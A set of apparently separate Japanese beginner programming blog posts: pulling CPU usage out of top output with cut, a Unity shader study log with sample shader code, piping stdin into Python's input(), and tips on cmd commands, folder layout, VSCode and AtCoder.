  14163 ユーザー名    20   0    9120    580    516 R 100.0   0.0 106:11.53 yes
  14163 ユーザー名    20   0    9120    580    516 R 100.0   0.0 106:14.53 yes
  14163 ユーザー名    20   0    9120    580    516 R 100.0   0.0 106:17.54 yes

```
`yes`プロセスに対するtopコマンドの結果が3回分表示されていますね！

ユーザー名の箇所はyesコマンド実行ユーザが表示されていると思います。他にyesという文字列の入るプロセスが起動していれば、上記以外の行も出力されてしまいます。

それではこのファイルからCPU使用率のみ抽出したいと思います。CPU使用列は右から4項目目の値です。

ファイルから特定の列を抽出したい時には`cut`コマンドを用いると良いです。
抽出した結果をcpu.txtに保存したいと思います。

```bash:cutコマンドでCPU使用率を抽出
cut -c 50-54  top.txt > cpu.txt
```

`cut`の`-c 50-54`オプションにより、`top.txt`の各行に対し50文字目から54文字目を抜き出します。CPU使用率の箇所が何文字目かは、エディタでファイルを開いた際にどこかにカーソルの位置が何文字目か表示されていると思いますので、そこから調べていただけると幸いです。

`cpu.txt`の内容を確認すると

```bash:cpu.txt
100.0
100.0
100.0

```

CPU使用率のみを抽出できていました！

目標達成です！　この記事の需要があるかどうかわかりませんが、どなたかの役に立っていれば私も嬉しいです。
ここまで読んでいいただきありがとうございました！！
Unityシェーダー初心者の勉強ログ1

# はじめに
「C#なら全然書けるけど、シェーダーってC#じゃないし無理」
こう思っている人が多いと思います。Unityシェーダーで検索して出てくる[公式マニュアル](https://docs.unity3d.com/ja/2021.3/Manual/SL-VertexFragmentShaderExamples.html)読んでも…というか読む気が…
そんな私のような人のために初心者目線の勉強ログを残しておこうと思います。まだ勉強初めて数時間なので間違っていたら「初心者ってこんな間違いするんだな」程度に思ってみてください。

# シェーダーの役割
シェーダーは、映像を描写する処理を記述するものです。
目的は、プロパティとして宣言した入力と、ゲームエンジンが自動で送ってくる入力を使って、映像描写に使われる値を変更すること。
変数や関数の宣言で「宣言：映像描写で使われる値の名前」とすることで、"変数など"と"映像描写に使われる値"が関連付けられます。

# 構造
こんなかんじ
```
Shader "Unlit/SingleColor"
{
    Properties　//インスペクタから入力したい情報の定義
    {
　　　　_Color ("Main Color", Color) = (1,1,1,1)
    }
    SubShader　//具体的な中身。一つ以上必要。複数あるとターゲットに合わせて変えたりできる？
    {
        Pass //よくわからない
        {
            CGPROGRAM //CG書き始めるよの合図？
            #pragma vertex vert //頂点(vertex)シェーダーの名前定義
            #pragma fragment frag //フラグメントシェーダーの名前定義
            
            // 頂点シェーダー。入力引数のvertexに、「:POSITION」をつけることでゲームエンジンから位置情報をもらっている
            // 関数に対して「:SV_POSITION」が付いているので、関数の出力がSV_POSITIONとして解釈される
            float4 vert (float4 vertex : POSITION) : SV_POSITION
            {
                return mul(UNITY_MATRIX_MVP, vertex);
            }
            
            fixed4 _Color;

            // 関数に対して「:SV_Target」が付いているので、関数の出力がfloat4がSV_Targetとして解釈される
            fixed4 frag () : SV_Target
            {
                return _Color;
            }
            ENDCG
        }
    }
}
```

# 入力
シェーダーの入力ってどうやって受け取んねん。そう思いますよね。シェーダーでは定義した関数に自動的に適切な入力が入ります。関数の入力かっこ()の中で、
```
float4 vert (float4 vertex : POSITION) : SV_POSITION
            {
                return mul(UNITY_MATRIX_MVP, vertex);
            }
```
のように「型名　変数名：欲しい入力の名前」とすることで描写する場所の情報が勝手に、呼び出されるときに入力されます。受け取れる入力の種類は[マイクロソフトのサイト](https://learn.microsoft.com/ja-jp/windows/win32/direct3dhlsl/dx-graphics-hlsl-semantics?redirectedfrom=MSDN)にて確認できます。

# 出力
シェーダーではSV_Targetなどの、映像出力に関係する情報を書き換えることが目的です。以下の例ではfragの返り値がSV_Targetに関連つけられているので、fragの値が返るとSV_Targetの値が設定されます。
```
fixed4 frag (v2f i) : SV_Target
```
また、以下の例の様に、返り値の中にSV_Targetと関連付けられた出力があれば同じ振る舞いをするようです。
```
struct fragOutput {
    fixed4 color : SV_Target;
    fixed4 some;
};
fragOutput frag (v2f i)
{
    fragOutput o;
    o.color = fixed4(i.uv, 0, 0);
    o.some =ほにゃにゃらら;
    return o;
}
```
python – 複数回のユーザー入力 (input) を標準入力としてコマンド実行する

# 例

example.py

```python
print(input())
print(input())
print(input())
```

# コマンドと結果

改行コード区切りの標準入力をパイプでpythonに与える

```
$ echo "1\n2\n3" | python example.py
1
2
3
```


# チャットメンバー募集


何か質問、悩み事、相談などあればLINEオープンチャットもご利用ください。

https://line.me/ti/g2/eEPltQ6Tzh3pYAZV8JXKZqc7PJ6L0rpm573dcQ


# Twitter

https://twitter.com/YumaInaura
プログラミング演習で知っておいた方がいいこと(初心者向け)

皆さん如何お過ごしでしょうか。今回はプログラミングにおいて知っておいた方が良いことについて初心者向けに解説していきます。

# 目次
1.ターミナルのコマンド
2.フォルダ構成
3.VSCode上で演習しよう
4.AtCoder Problemsなどを解いてみる

# ターミナル
ターミナルはファイルの作成や実行を行う場所です。Windowsだとコマンドプロンプト(以下cmdと表記)やPower Shellがありますが本記事ではcmdを使っていきます。

cmdでよく使うコマンドをここで紹介しておきます。結構重要なので実際にcmdで打ってみるのがおすすめ。

cd : カレントディレクトリ(今いる場所フォルダ)から移動するcd ../ でもどることができる。
ファイル名 : ファイルを開く、もしくは実行する。.cppファイルならテキストエディタなどで開かれ、.exe(実行可能ファイル)ならそのまま実行される。
tree : カレントディレクトリ以下のフォルダをツリー状に表示する

またコマンドではありませんがファイルなどの実行中にCtrl + Cを押すことで実行を中断することができ、矢印キーの↑で一度入力したコマンドを再度使用することができます。
これらのショートカットキーは覚えて損はないですし効率がぐんと上がるので覚えて使用することを推奨します。

コマンドの実行例をそれっぽく書いてみました。
例1
```:cmd
C:Users/feli/programming>cd task1
C:Users/fesi/programming/task1>
```
例2
```:cmd
C:Users/feli/programming/task1>cd ../
C:Users/fesi/programming>
```
例3
```:cmd
C:Users/feli/programming/task1>c++ src.cpp
C:Users/feli/programming/task1>a
~実行結果~
```
例4
```:cmd
C:Users/feli/programming>c++ src.cpp
c++: error: src.cpp: No such file or directory
c++: fatal error: no input files
compilation terminated.
```
ちなみに、例3と4の違いはわかりますか？
例4でエラーが起きているのはC:User/feli/programming>というカレントディレクトリにsrc.cppというファイルがないからです。src.cppはtask1にあるディレクトリなので、cdコマンドでtask1に移動して例3のように実行するべきですね。

# フォルダ構成
今度はおすすめのフォルダ構成について紹介します。
私の学校ではプログラミングの授業ごとに複数の問題が出題されるので授業1というフォルダの中に問題1つにつき1フォルダ作成して、またそのフォルダごとにソースファイルと実行ファイル、あと問題のurlを貼っています。
流石に言葉だけの説明ではわかりづらいため、cmdでtree /fを使って表示した結果を出します。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3026822/9d09446f-9af8-ce81-f754-671822971438.png)
どうでしょうか。このようにすればどのフォルダがどのような問題に対応しているのかわかりますし、ファイル名が統一されてとてもきれいです。ちなみにsrc.cppのsrcとはソースコードやソースファイルなどのsourceの略です。私は演習問題を解くとき基本的にこのファイル名にしてます。

# VSCode上で演習しよう
まず、多分エンジニアは一生関わってゆくであろうVSCodeのショートカットキーとよく使うキーは覚えておきましょう。

Ctrl + C : 選択範囲のテキストのコピー
Ctrl + V : 貼り付け
Ctrl + Z : 直前の操作を取り消す
Ctrl + S : ファイルの保存、変更の保存
Tab : インデントを開ける
Ctrl + Shift + @ : ターミナルを開く

また、VSCodeのデフォルトのターミナルがPowerShellとなっていますので、cmdにする場合は右端の+からSelect Default Profileを選択してCommand Prompt(cmd)を選択しておきましょう。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3026822/d81981c5-d4e9-eb75-96ef-c7e9ef4f43e5.png)


# AtCoder Problemsなどを解いてみる
AtCoderは有名な競技プログラミングのサービスで、毎週コンテストが開催されます。
コンテストで出題されるいくつかの問題を時間以内に解くことによって、解けた問題に応じて点数がもらえ、集計された結果自分のレーティングを上げることができます。レーティングは偏差値みたいなもので、「初心者」レベルから「世界レベル」まで広がります。コンテストの結果に応じて上がったり下がったりするので、まさに下剋上の「競技」プログラミングといえるでしょう。

コンテストに参加しなくとも問題を解くことができます。これまで開催されたコンテストの過去問は「AtCoderProblems」として残されています。
以下のリンクからAtCoderProblemsにアクセスして確認してみてください。
[AtCoder Problems](https://kenkoooo.com/atcoder/#/table/)